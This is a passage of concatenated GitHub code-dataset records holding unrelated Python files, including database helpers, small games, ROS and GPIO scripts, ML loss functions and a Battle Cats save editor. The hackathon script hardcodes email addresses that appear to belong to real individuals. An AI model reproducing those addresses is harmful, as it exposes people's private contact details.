List.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"1840868054","text":"\nimport numpy as np\n\nfrom config import CONFIG\nfrom utils import *\n\nfrom collections import defaultdict\nfrom shutil import copyfile, move\n\n\nground_truth_file_path = relpath('imagenet/caffe_ilsvrc12/val.txt', CONFIG.DATA_DIR)\ntarget_dir_path = relpath('imagenet_val_0.06/', CONFIG.TRAIN_DATA_DIR)\n# target_dir_path = relpath('imagenet_val_sensity/', CONFIG.TRAIN_DATA_DIR)\nselect_num_per_class = 3\nclass_ids_to_skip = set([434, 446, 460, 843, 639, 640])\n# n02807133、n02837789、n02892767、n04371430、n03710637、n03710721\nseed = CONFIG.SEED if CONFIG.SEED else np.random.randint(0, 20000)\n\nclass_img_map = defaultdict(lambda:[])\n\nwith open(ground_truth_file_path) as f:\n\n for line in f:\n img_fname, class_id = line.split()\n class_id = int(class_id) + 1\n if class_id not in class_ids_to_skip:\n class_img_map[class_id].append(img_fname)\n\n\n# copy normal imagenet images\n\nfor class_imgs in class_img_map.values():\n\n seed += 1\n np.random.seed(seed)\n selected_indexes = np.random.choice(len(class_imgs), select_num_per_class, replace=False)\n\n for i in selected_indexes:\n img_fname = class_imgs[i]\n origin_path = relpath('imagenet/ILSVRC2012_img_val/%s'%img_fname, CONFIG.DATA_DIR)\n new_path = relpath(img_fname, target_dir_path)\n copyfile(origin_path, new_path)\n\n\n# copy sensity imagenet images\n\n# for class_imgs in class_img_map.values():\n\n# for img_fname in class_imgs:\n# origin_path = relpath('imagenet/ILSVRC2012_img_val/%s'%img_fname, CONFIG.DATA_DIR)\n# new_path = relpath(img_fname, target_dir_path)\n# copyfile(origin_path, new_path)\n\n","repo_name":"rmhsiao/porn_classifier","sub_path":"split_imagenet_imgs.py","file_name":"split_imagenet_imgs.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72309975553","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the plusMinus function below.\ndef plusMinus(arr):\n positive = 0\n negative = 0\n zero = 0\n for num in arr:\n if(num > 0):\n positive += 1\n elif (num < 0):\n negative += 1\n else:\n zero += 1\n print(str(round(positive/len(arr), 6)))\n print(str(round(negative/len(arr), 6)))\n print(str(round(zero/len(arr), 6)))\n\n\nif __name__ == '__main__':\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n plusMinus(arr)\n","repo_name":"youngzliu/CodingChallenges","sub_path":"HackerRank/PlusMinus.py","file_name":"PlusMinus.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5437395495","text":"import sqlalchemy as sq\nfrom sqlalchemy.orm import sessionmaker\n\nfrom base.create_table import create_tables, Profiles, Relationship, Settings\nfrom base.settings import db_name, db_password, db_users\n\nDSN = f\"postgresql://{db_users}:{db_password}@localhost:5432/{db_name}\"\nengine = sq.create_engine(DSN)\n\ncreate_tables(engine)\n\nSession = sessionmaker(bind=engine)\nsession = Session()\n\n\nclass Database:\n def profile_save(self, profile):\n if (\n session.query(Profiles).filter(Profiles.vk_id == profile.vk_id).first()\n is None\n ):\n session.add(\n Profiles(\n vk_id=profile.vk_id,\n first_name=profile.first_name,\n last_name=profile.last_name,\n age=profile.age,\n sex=profile.sex,\n city=profile.city,\n photos=profile.photos\n )\n )\n else:\n prof = session.query(Profiles) \\\n .filter(Profiles.vk_id == profile.vk_id) \\\n .first()\n prof.vk_id = profile.vk_id\n prof.first_name = profile.first_name\n prof.last_name = profile.last_name\n prof.age = profile.age\n prof.sex = profile.sex\n prof.city = profile.city\n prof.photos = profile.photos\n session.commit()\n\n def profile_load(self, vk_ids: int):\n data = None\n res = session.query(Profiles).filter(Profiles.vk_id == vk_ids).first()\n if res is not None:\n data = {\n \"vk_id\": res.vk_id,\n \"first_name\": res.first_name,\n \"last_name\": res.last_name,\n \"age\": res.age,\n \"sex\": res.sex,\n \"city\": res.city,\n \"photos\": res.photos\n }\n return data\n\n def profile_del(self, profile):\n session.query(Profiles).filter(Profiles.vk_id == profile.vk_id).delete()\n session.query(Relationship).filter(Relationship.vk_id == profile.vk_id).delete()\n session.query(Settings).filter(Settings.vk_id == profile.vk_id).delete()\n\n def offset_load(self, profile):\n res = (\n session.query(Settings.offset)\n .filter(Settings.vkid_profile == profile.vk_id)\n .first()\n )\n return res.offset if res is not None else None\n\n def offset_save(self, profile, value):\n session.query(Settings.offset) \\\n .filter(Settings.vkid_profile == profile.vk_id) \\\n .first().offset = value\n session.commit()\n\n def candidates_save(self, profile, client, flag=2):\n if (\n session.query(Relationship)\n .filter(Relationship.vkid_profile == profile.vk_id)\n .filter(Relationship.vkid_candidate == client.vk_id)\n .all()\n ):\n session.add(Relationship(profile.vk_id, client.vk_id, flag))\n session.commit()\n\n def candidates_check(self, profile, client):\n res = (\n session.query(Relationship)\n .filter(Relationship.vkid_candidate == profile.vk_id)\n .filter(Relationship.vkid_profile == client.vk_id)\n .first()\n )\n if res is None:\n return None\n else:\n return res.flag\n\n def candidates_del(self, profile, client):\n session.query(Relationship.offset) \\\n .filter(Relationship.vkid_profile == profile.vk_id) \\\n .filter(Relationship.vkid_candidate == client.vk_id) \\\n .first().flag = 2\n session.commit()\n\n def favorite_load(self, profile, offset, limit=10):\n data = []\n result = (\n session.query(\n Relationship.vkid_profile,\n Profiles.first_name,\n Profiles.last_name,\n Profiles.photos,\n )\n .join(Profiles)\n .join(Relationship)\n .filter(Relationship.vkid_profile == profile.vk_id)\n .filter(Relationship.flag == 1)\n .limit(limit)\n .offset(offset)\n .all()\n )\n for item in result:\n data.append(\n {\n \"vk_id\": item.vk_id,\n \"first_name\": item.first_name,\n \"last_name\": item.last_name,\n \"photos\": item.photos,\n }\n )\n return data\n\n def token_load(self, profile):\n res = (\n session.query(Settings.token)\n .filter(Settings.vkid_profile == profile.vk_id)\n .first()\n )\n return res.token if res is not None else None\n\n def token_save(self, vk_id, token):\n session.query(Settings.token).filter(\n Settings.vkid_profile == vk_id\n ).first().token = token\n session.commit()\n","repo_name":"VoronovaDA/Team_project.py","sub_path":"base/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":4944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"19283904186","text":"# Grant Commodore\n\n# This program uses a GUI to play rock, paper, scissors.\n\nimport tkinter\nimport random\n\nclass RockPaperScissors: \n def __init__(self):\n # Create the main window.\n self.main_window = tkinter.Tk()\n self.main_window.geometry('300x300')\n self.main_window.title('Rock, Paper, Scissors')\n\n # Create the frames.\n self.frame0 = tkinter.Frame(self.main_window)\n self.frame1 = tkinter.Frame(self.main_window)\n self.frame2 = tkinter.Frame(self.main_window)\n self.frame3 = tkinter.Frame(self.main_window)\n self.frame0.grid(row=0, column=0, pady=10)\n self.result_frame = tkinter.Frame(self.main_window)\n\n # Create and pack the label that holds the instructions.\n self.label0 = tkinter.Label(self.frame0, text='Please choose rock, paper, or scissors.')\n self.label0.pack(side='left')\n \n # Create and pack the radio button widgets.\n self.var = tkinter.IntVar()\n self.rb1 = tkinter.Radiobutton(self.frame1, text='Rock', variable=self.var, value=1)\n self.rb1.pack(side='left')\n self.rb2 = tkinter.Radiobutton(self.frame1, text='Paper', variable=self.var, value=2)\n self.rb2.pack(side='left')\n self.rb3 = tkinter.Radiobutton(self.frame1, text='Scissors', variable=self.var, value=3)\n self.rb3.pack(side='left')\n\n # Create and pack the button widges.\n self.button = tkinter.Button(self.frame2, text='Play', command=self.play)\n self.button.pack(side='left')\n self.exit_button = tkinter.Button(self.frame3, text=\"Exit\", command=self.main_window.destroy)\n self.exit_button.pack(side='left')\n\n\n # Create and pack the widgets for the result.\n self.result_label = tkinter.Label(self.result_frame, text='Result:')\n self.result_value_label = tkinter.Label(self.result_frame)\n self.result_label.pack(side='left')\n self.result_value_label.pack(side='left')\n\n # Pack the frames.\n self.frame0.pack()\n self.frame1.pack()\n self.frame2.pack()\n self.result_frame.pack()\n self.frame3.pack()\n\n # Start the main loop.\n tkinter.mainloop()\n \n # Compare the user's selection to the computer's selection.\n def play(self):\n # Get the computer's selection between 1 and 3.\n computerValue = random.randint(1, 3)\n # Get the user's selection and compare it to the computer's selection.\n if self.var.get() == 1 and computerValue == 1:\n self.result_value_label.config(text='Tie! The computer also chose rock.')\n \n elif self.var.get() == 1 and computerValue == 2:\n self.result_value_label.config(text='You lose! The computer chose paper.')\n \n elif self.var.get() == 1 and computerValue == 3:\n self.result_value_label.config(text='You win! The computer chose scissors.')\n \n elif self.var.get() == 2 and computerValue == 1:\n self.result_value_label.config(text='You win! The computer chose rock.')\n \n elif self.var.get() == 2 and computerValue == 2:\n self.result_value_label.config(text='Tie! The computer also chose paper.')\n \n elif self.var.get() == 2 and computerValue == 3:\n self.result_value_label.config(text='You lose! The computer chose scissors')\n \n elif self.var.get() == 3 and computerValue == 1:\n self.result_value_label.config(text='You lose! The computer chose rock.')\n \n elif self.var.get() == 3 and computerValue == 2:\n self.result_value_label.config(text='You win! The computer chose paper')\n \n elif self.var.get() == 3 and computerValue == 3:\n self.result_value_label.config(text='Tie! The computer also chose scissors')\n \n self.button.config(text='Play Again')\n \n\n# Create an instance of the RockPaperScissors class.\ngame = RockPaperScissors()\n\n\n\n \n","repo_name":"GrantComm/Programming-Languages-SCIS-346","sub_path":"python/rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34747732273","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 6 15:58:15 2019\n\n@author: Himanshu Rathore\n\"\"\"\n\nwith open ('absentee.txt', mode='wt') as file:\n input_counter=0\n while(True):\n student_name = input(\"Enter name: \")\n input_counter +=1\n if not student_name:\n break\n elif input_counter>15:\n print(\"Maximum input limit = 15\")\n break\n else:\n file.write(student_name+'\\n')\n\nwith open ('absentee.txt', mode='rt') as file:\n print(file.read())","repo_name":"himanshu2922t/FSDP_2019","sub_path":"DAY-04/absentee.py","file_name":"absentee.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29680399044","text":"\"\"\"Application built for a MIT Generative AI Hackathon (hosted by Vana). \nSee powerpoint \n\n\"\"\"\n\nimport numpy as np\n\n# third party \nimport torch\nfrom PIL import Image\n\nfrom diffusers import StableDiffusionInpaintPipeline\n\n# custom \nimport vana_api as v \nimport generate_mask as g\n\nif __name__ == \"__main__\":\n\n ###\n # Init \n ###\n\n\n # all of these emails are associated with a VANA account, which provides custom Dreambooth trained person models\n emails = {\"vitoria\":\"anavitoria_rodrigueslima@fas.harvard.edu\",\n \"nemo\":\"nemoshi@gse.harvard.edu\", \n \"cat\":\"vito.rodrigueslima@gmail.com\"}\n \n\n tokens = {\"vitoria\":\"unique_token\",\n \"nemo\":\"unique_token\", \n \"cat\":\"unique_token\"}\n\n exhibits = ['cosmic', 'cyberpunk', 'black-and-white']\n\n code=\"\"\n identity1=\"person\" \n identity2=\"cat\" \n savedir =\"\"\n assert identity1 in ['person', 'cat']\n prompt1 = [identity1]\n assert identity2 in ['person', 'cat']\n prompt2 = [identity2] \n\n\n\n ###\n # Get Clipseg and Stable Diffusion \n ###\n\n\n # clipseg\n model = g.load_clipseg()\n\n # Stable Diffusion \n device = \"cuda\"\n pipe = StableDiffusionInpaintPipeline.from_pretrained(\n \"runwayml/stable-diffusion-inpainting\",\n revision=\"fp16\",\n torch_dtype=torch.float16,\n ) \n pipe.to(device)\n \n \n ###\n # Get exhibits \n ###\n \n exhibits = v.get_list_of_exhibits(tokens['cat'])\n \n \n # [demo only] Loop n times\n for ii in range(0,3):\n \n # [demo only] \n user = 'vitoria' if ii ==1 else 'nemo'\n exhibit = exhibits[ii+1]\n\n ###\n # Download images \n ###\n \n image_links1 = v.get_image_links(tokens[user],exhibit=exhibit)\n image_links2 = v.get_image_links(tokens['cat'],exhibit=exhibit)\n path1 = v.download_images(image_links1, user=\"1\",exhibit=exhibit, folder=savedir, only_one=True)[0]\n path2 = v.download_images(image_links2, user=\"2\",exhibit=exhibit, folder=savedir, only_one=True)[0]\n\n ###\n # Create joint images and mask\n ###\n \n rgba,rgb = g.process_images(path1,path2,prompt1,prompt2,model)\n mask2=Image.fromarray(np.full((512,512,3), 255).astype(np.uint8) - np.tile(np.array(rgba)[:,:,3:], (1,1,3)))\n \n ###\n # Generate images\n ###\n \n # generate \n prompt = \"A cyberpunk fantasy landscape, trending on artstation\"\n images = pipe(prompt=prompt, image=rgb, mask_image=mask2,guidance_scale=15.).images\n images[0].save(\"u\"+str(ii)+\"-fantasy_landscape.png\") \n \n # save intermediate results \n mask2.save(\"u\"+str(ii)+\"-mask.png\")\n rgba.save(\"u\"+str(ii)+\"-rgba.png\")\n rgb.save(\"u\"+str(ii)+\"-rgb.png\")\n\n from IPython import embed; embed() \n\n","repo_name":"sergeicu/mit_generative_ai_hackathon","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29362906351","text":"from __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nimport errno\nimport os\nimport stat\nimport re\nimport pwd\nimport grp\nimport time\nimport shutil\nimport traceback\nimport fcntl\nimport sys\n\nfrom contextlib import contextmanager\nfrom ansible.module_utils._text import to_bytes, to_native, to_text\nfrom ansible.module_utils.six import b, binary_type\n\ntry:\n import selinux\n HAVE_SELINUX = True\nexcept ImportError:\n HAVE_SELINUX = False\n\n\nclass LockTimeout(Exception):\n pass\n\n\ndef is_executable(path):\n '''is the given path executable?\n\n Limitations:\n * Does not account for FSACLs.\n * Most times we really want to know \"Can the current user execute this\n file\" This function does not tell us that, only if an execute bit is set.\n '''\n # These are all bitfields so first bitwise-or all the permissions we're\n # looking for, then bitwise-and with the file's mode to determine if any\n # execute bits are set.\n return ((stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) & os.stat(path)[stat.ST_MODE])\n\n\nclass FileLock:\n '''\n Currently FileLock is implemented via fcntl.flock on a lock file, however this\n behaviour may change in the future. Avoid mixing lock types fcntl.flock,\n fcntl.lockf and module_utils.common.file.FileLock as it will certainly cause\n unwanted and/or unexpected behaviour\n '''\n def __init__(self):\n self.lockfd = None\n\n @contextmanager\n def lock_file(self, path, tmpdir, lock_timeout=None):\n '''\n Context for lock acquisition\n '''\n try:\n self.set_lock(path, tmpdir, lock_timeout)\n yield\n finally:\n self.unlock()\n\n def set_lock(self, path, tmpdir, lock_timeout=None):\n '''\n Create a lock file based on path with flock to prevent other processes\n using given path.\n Please note that currently file locking only works when it's executed by\n the same user, I.E single user scenarios\n\n :kw path: Path (file) to lock\n :kw tmpdir: Path where to place the temporary .lock file\n :kw lock_timeout:\n Wait n seconds for lock acquisition, fail if timeout is reached.\n 0 = Do not wait, fail if lock cannot be acquired immediately,\n Default is None, wait indefinitely until lock is released.\n :returns: True\n '''\n lock_path = os.path.join(tmpdir, 'ansible-{0}.lock'.format(os.path.basename(path)))\n l_wait = 0.1\n r_exception = IOError\n if sys.version_info[0] == 3:\n r_exception = BlockingIOError\n\n self.lockfd = open(lock_path, 'w')\n\n if lock_timeout <= 0:\n fcntl.flock(self.lockfd, fcntl.LOCK_EX | fcntl.LOCK_NB)\n os.chmod(lock_path, stat.S_IWRITE | stat.S_IREAD)\n return True\n\n if lock_timeout:\n e_secs = 0\n while e_secs < lock_timeout:\n try:\n fcntl.flock(self.lockfd, fcntl.LOCK_EX | fcntl.LOCK_NB)\n os.chmod(lock_path, stat.S_IWRITE | stat.S_IREAD)\n return True\n except r_exception:\n time.sleep(l_wait)\n e_secs += l_wait\n continue\n\n self.lockfd.close()\n raise LockTimeout('{0} sec'.format(lock_timeout))\n\n fcntl.flock(self.lockfd, fcntl.LOCK_EX)\n os.chmod(lock_path, stat.S_IWRITE | stat.S_IREAD)\n\n return True\n\n def unlock(self):\n '''\n Make sure lock file is available for everyone and Unlock the file descriptor\n locked by set_lock\n\n :returns: True\n '''\n if not self.lockfd:\n return True\n\n try:\n fcntl.flock(self.lockfd, fcntl.LOCK_UN)\n self.lockfd.close()\n except ValueError: # file wasn't opened, let context manager fail gracefully\n pass\n\n return True\n","repo_name":"amitvashist7/ansible-development-CTS","sub_path":"molecule/my_env/lib/python2.7/site-packages/ansible/module_utils/common/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"36411494642","text":"#!/usr/bin/env python\nimport rospy\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import LaserScan\n\n\nrange_ahead = 1 #just to initialize\n\ndef callback(msg):\n global range_ahead\n range_ahead = min(msg.ranges)\n\nsub = rospy.Subscriber('scan', LaserScan , callback)\npub = rospy.Publisher('cmd_vel_mux/input/teleop', Twist, queue_size = 1)\nrospy.init_node('wander')\nchange_time = rospy.Time.now() + rospy.Duration(5)\nforward = True\nr = rospy.Rate(10)\n\nwhile not rospy.is_shutdown():\n twist = Twist()\n \n if forward:\n twist.linear.x = 1\n if (range_ahead < 0.8 or rospy.Time.now() > change_time):\n forward = False\n change_time = rospy.Time.now() + rospy.Duration(5)\n else:\n twist.angular.z = 1\n if (range_ahead > 0.8 or rospy.Time.now() > change_time):\n forward = True\n change_time = rospy.Time.now() + rospy.Duration(30)\n \n pub.publish(twist)\n r.sleep()\n","repo_name":"BenSisserman/catkin","sub_path":"src/wanderbot/src/roomba.py","file_name":"roomba.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13701105019","text":"\"\"\"Handler for clearing gauntlets\"\"\"\nfrom typing import Any\n\nfrom . import event_stages\nfrom ... import user_input_handler, helper\nfrom ..other import meow_medals\n\n\ndef edit_gauntlet(save_stats: dict[str, Any]) -> dict[str, Any]:\n \"\"\"Handler for clearing gauntlets\"\"\"\n\n stage_data = save_stats[\"gauntlets\"]\n lengths = stage_data[\"Lengths\"]\n\n ids = []\n ids = user_input_handler.get_range(\n user_input_handler.colored_input(\n \"Enter gauntlet ids (Look up &Event Release Order battle cats& and scroll past the &events& to find &gauntlet& ids) (You can enter &all& to get all, a range e.g 1-49, or ids separate by spaces e.g &5 4 7&):\"\n ),\n lengths[\"total\"],\n )\n save_stats[\"gauntlets\"] = event_stages.stage_handler(stage_data, ids, 0)\n base_addr = meow_medals.BaseMapIds.GAUNTLETS.value\n save_stats[\"gauntlets\"], save_stats[\"medals\"] = event_stages.set_medals(\n save_stats[\"gauntlets\"],\n save_stats[\"medals\"],\n (base_addr, base_addr + len(save_stats[\"gauntlets\"][\"Value\"][\"unlock_next\"])),\n -base_addr,\n helper.check_data_is_jp(save_stats),\n )\n return save_stats\n\n\ndef edit_collab_gauntlet(save_stats: dict[str, Any]) -> dict[str, Any]:\n \"\"\"Handler for clearing collab gauntlets\"\"\"\n\n stage_data = save_stats[\"collab_gauntlets\"]\n lengths = stage_data[\"Lengths\"]\n\n ids = []\n ids = user_input_handler.get_range(\n user_input_handler.colored_input(\n \"Enter collab gauntlet ids (Look up &Event Release Order battle cats& and scroll past the &events& and past &gauntlet& to find &Collaboration Gauntlet& ids) (You can enter &all& to get all, a range e.g 1-49, or ids separate by spaces e.g &5 4 7&):\"\n ),\n lengths[\"total\"],\n )\n save_stats[\"collab_gauntlets\"] = event_stages.stage_handler(stage_data, ids, 0)\n return save_stats\n","repo_name":"fieryhenry/BCSFE-Python","sub_path":"src/BCSFE_Python/edits/levels/gauntlet.py","file_name":"gauntlet.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"61"} +{"seq_id":"45071398067","text":"# A program that calculates the minimum number of coins required to give a user change.\n\nfrom cs50 import get_float\n\nwhile True:\n change = get_float(\"How much change is owed (in dollars)? \") * 100\n if change > 0:\n break\n\nquarters = 0\nwhile change > 24:\n change = change - 25\n quarters += 1\n\ndimes = 0\nwhile change > 9:\n change = change - 10\n dimes += 1\n\nnickels = 0\nwhile change > 4:\n change = change - 5\n nickels += 1\n\npennies = 0\nwhile change > 0:\n change = change - 1\n pennies += 1\n\ntot_coins = quarters + dimes + nickels + pennies\nprint(tot_coins)\n","repo_name":"JRM-code/CS50x","sub_path":"cash.py","file_name":"cash.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74959848835","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n# @file freqled.py\n# @brief\n# @author QRS\n# @version 1.0\n# @date 2023-03-15 20:03\n\n\nimport time\nimport RPi.GPIO as GPIO\n\n# 频闪\nPIN_FLASH_LED = 6\n\ng_led_pwm = None\n\n\ndef test_freqled_open(freq=300, duty=25):\n global g_led_pwm\n GPIO.setmode(GPIO.BCM)\n GPIO.setwarnings(False)\n\n GPIO.setup(PIN_FLASH_LED, GPIO.OUT)\n GPIO.output(PIN_FLASH_LED, GPIO.HIGH)\n\n # 频闪时\n g_led_pwm = GPIO.PWM(PIN_FLASH_LED, freq)\n g_led_pwm.start(duty)\n\n\ndef test_freqled_close():\n g_led_pwm.stop()\n GPIO.cleanup()\n\n\nif __name__ == \"__main__\":\n test_freqled_open()\n time.sleep(5)\n test_freqled_close()\n","repo_name":"qrsforever/vision-mcs","sub_path":"test/raspberry/freqled.py","file_name":"freqled.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2147915478","text":"from slicer.models import dicomTopng\nfrom slicer.models import ImageSeries\nfrom slicer.views import image_series_list, image_slider\nimport pytest\nimport os\n\n# Create your tests here.\n\ndef test_dicomTopng():\n \"\"\"DCM files are being converted to png\"\"\"\n source_folder = r'media/dicom_test'\n output_folder = r'media/png_test'\n dicomTopng(source_folder, output_folder)\n pngfiles = os.listdir(output_folder)\n for file in pngfiles:\n assert 'png' in file\n\n@pytest.mark.django_db\ndef test_image_series_list_view():\n request = \"GET '/'\"\n response = image_series_list(request)\n assert response.status_code == 200\n \n","repo_name":"ejcurtis/slicer-challenge","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29137140024","text":"# thread is a light weight process\n# at one point you can run multiple applications\nfrom time import sleep\nfrom threading import *\n\n\nclass Hello(Thread):\n def run(self):\n for i in range(4):\n print(\"Hello\")\n sleep(1)\n\nclass Hi(Thread):\n\n def run(self):\n for i in range(4):\n print(\"Hi\")\n sleep(1)\n\na=Hello()\nb=Hi()\n\na.start()\nsleep(.2)\nb.start()\n\na.join()\nb.join()\nprint(\"bye\")","repo_name":"rajeshsvv/Lenovo_Back","sub_path":"1 PYTHON/3 TELUSKO/60_Multithreading.py","file_name":"60_Multithreading.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36378138648","text":"# https://www.acmicpc.net/problem/2206\n# https://www.acmicpc.net/board/view/109499\n# 시간초과\nimport sys\nimport heapq\ninput = sys.stdin.readline\nN, M = map(int, input().split())\n\nmapInfo = []\nfor _ in range(N):\n mapRow = list(input().strip())\n mapInfo.append(mapRow)\n\n\ndef BFS(graph, start):\n distances = [[[float(\"inf\"), False] for _ in range(M)] for _ in range(N)]\n distances[start[0]][start[1]][0] = 1\n queue = []\n heapq.heappush(queue, [1, start])\n\n while queue:\n curDistance, (curR, curC) = heapq.heappop(queue)\n\n isWallBrokenInCur = distances[curR][curC][1]\n dr = [0, 0, 1, -1]\n dc = [1, -1, 0, 0]\n for i in range(4):\n newR, newC = curR+dr[i], curC+dc[i]\n if 0 > newR or newR >= N or 0 > newC or newC >= M:\n continue\n isWallBrokenInNew = distances[newR][newC][1]\n if distances[newR][newC][0] != float(\"inf\"):\n if isWallBrokenInCur == False:\n if isWallBrokenInNew == True:\n distances[newR][newC][1] = False\n else:\n continue\n else:\n continue\n if graph[newR][newC] == '1' and isWallBrokenInCur == True:\n continue\n\n if graph[newR][newC] == '1' and isWallBrokenInCur == False:\n distances[newR][newC][1] = True\n else:\n distances[newR][newC][1] = isWallBrokenInCur\n distances[newR][newC][0] = curDistance + 1\n heapq.heappush(queue, [curDistance+1, (newR, newC)])\n\n return distances\n\n\ndistanceInfo = BFS(mapInfo, (0, 0))\nanswer = distanceInfo[N-1][M-1][0]\n\nif answer == float('inf'):\n print(-1)\nelse:\n print(answer)\n","repo_name":"studying-ice-bear/pparkkkimeom","sub_path":"KimChaeJung/timeOver/2206_벽부수고이동하기.py","file_name":"2206_벽부수고이동하기.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40732627123","text":"import os \r\nimport numpy as np\r\nimport scipy.ndimage as ndi\r\nimport torch\r\nimport matplotlib.pyplot as plt\r\n\r\ndef hd(out, gt, eps = 10e-5):\r\n\r\n # Compute distance for all pixels outside of the tumor\r\n d_xy_p0 = ndi.distance_transform_edt(gt==0)\r\n d_xy_p0[d_xy_p0>20] = np.max(d_xy_p0[d_xy_p0<20])\r\n\r\n # Compute distance for all pixels inside of the tumor\r\n d_xy_n0 = ndi.distance_transform_edt(gt!=0)\r\n \r\n # Normalizing the HD's\r\n d_max_p =torch.where(out!=0,torch.from_numpy(d_xy_p0).double(),torch.zeros(out.size()).double()).max()+eps #normalizing by maximum HD where px is not zero\r\n d_xy_p = d_xy_p0/d_max_p\r\n d_max_n = torch.where((1-out)!=0,torch.from_numpy(d_xy_n0).double(),torch.zeros(out.size()).double()).max()+eps#normalizing by maximum HD where 1-px is not zero\r\n d_xy_n = d_xy_n0/d_max_n\r\n\r\n # Loss terms\r\n first_term = out*d_xy_p.float() # Outside the tumor\r\n second_term = (1-out)*d_xy_n.float() # Inside the tumor\r\n\r\n loss1 = torch.sum(first_term)/((np.max([torch.sum(out[gt==0]),eps])))\r\n loss2 = torch.sum(second_term)/((np.max([torch.sum(1-out[gt!=0]),eps])))\r\n\r\n return loss1+loss2\r\n\r\n\r\ndef hd_loss(seg_soft, gt, seg_dtm, gt_dtm):\r\n \"\"\"\r\n compute huasdorff distance loss for binary segmentation\r\n input: seg_soft: softmax results, shape=(b,2,x,y,z)\r\n gt: ground truth, shape=(b,x,y,z)\r\n seg_dtm: segmentation distance transform map; shape=(b,2,x,y,z)\r\n gt_dtm: ground truth distance transform map; shape=(b,2,x,y,z)\r\n output: boundary_loss; sclar\r\n \"\"\"\r\n\r\n delta_s = (seg_soft[:,1,...] - gt.float()) ** 2\r\n s_dtm = seg_dtm[:,1,...] ** 2\r\n g_dtm = gt_dtm[:,1,...] ** 2\r\n dtm = s_dtm + g_dtm\r\n multipled = torch.einsum('bxyz, bxyz->bxyz', delta_s, dtm)\r\n hd_loss = multipled.mean()\r\n\r\n return hd_loss\r\n\r\nout=torch.zeros((120,120), requires_grad=True)\r\nout2=torch.zeros((120,120),requires_grad=True)\r\n\r\ngt = torch.zeros((120,120), requires_grad=False)\r\n\r\nout[40:80,30:60]=1\r\nout2[2:118,2:118]=1\r\n\r\ngt[50:80,20:60]=1\r\n\r\nhd_tensor = hd(out,gt)\r\n\r\nhd(gt,gt)\r\nhd(torch.ones_like(out),gt)\r\nhd(torch.zeros_like(out),gt)\r\n\r\n","repo_name":"RoqueRouteiral/oroph_segm_ts","sub_path":"tools/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23564694861","text":"\ndef test(list):\n for i in range(0, len(list)-1):\n if(valueList[i] > valueList[i+1]):\n return False\n return True\n\ndef list2text(list):\n result = \"\";\n for i in list:\n if(result != \"\" or i!=0):\n result += str(i)\n if(result == \"\"):\n result = \"0\";\n return result\n\nt = int(input())\nfor line in range(1, t + 1):\n value = input();\n valueList = list(value);\n\n for i in range(0, len(valueList)):\n valueList[i] = int(valueList[i])\n\n valueInteger = int(value);\n result = valueInteger\n #print( valueList)\n #phase 1 go from first index to back and stop when fails\n while(not test(valueList)):\n for i in range(0, len(valueList)-1):\n if valueList[i] > valueList[i+1]:\n valueList[i] -= 1\n for j in range(i+1, len(valueList)):\n valueList[j] = 9\n break\n\n #print(valueList);\n\n\n print(\"Case #{}: {}\".format(line, list2text(valueList)));\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/552.py","file_name":"552.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20769443233","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nModule used to handle interactions with the database and display functions\nin the openfoodfact project\n\nSource for the progress bar used : https://gist.github.com/aubricus/f91fb55dc6ba5557fbab06119420dd6a\n\"\"\"\nimport sys\nimport math\nimport mysql.connector\nimport requests\nfrom db_parameters import CONNECTION_PARAMETERS\n\n\nROWS_PER_PAGE = 40\n\nNUTRISCORE = {\n 0: 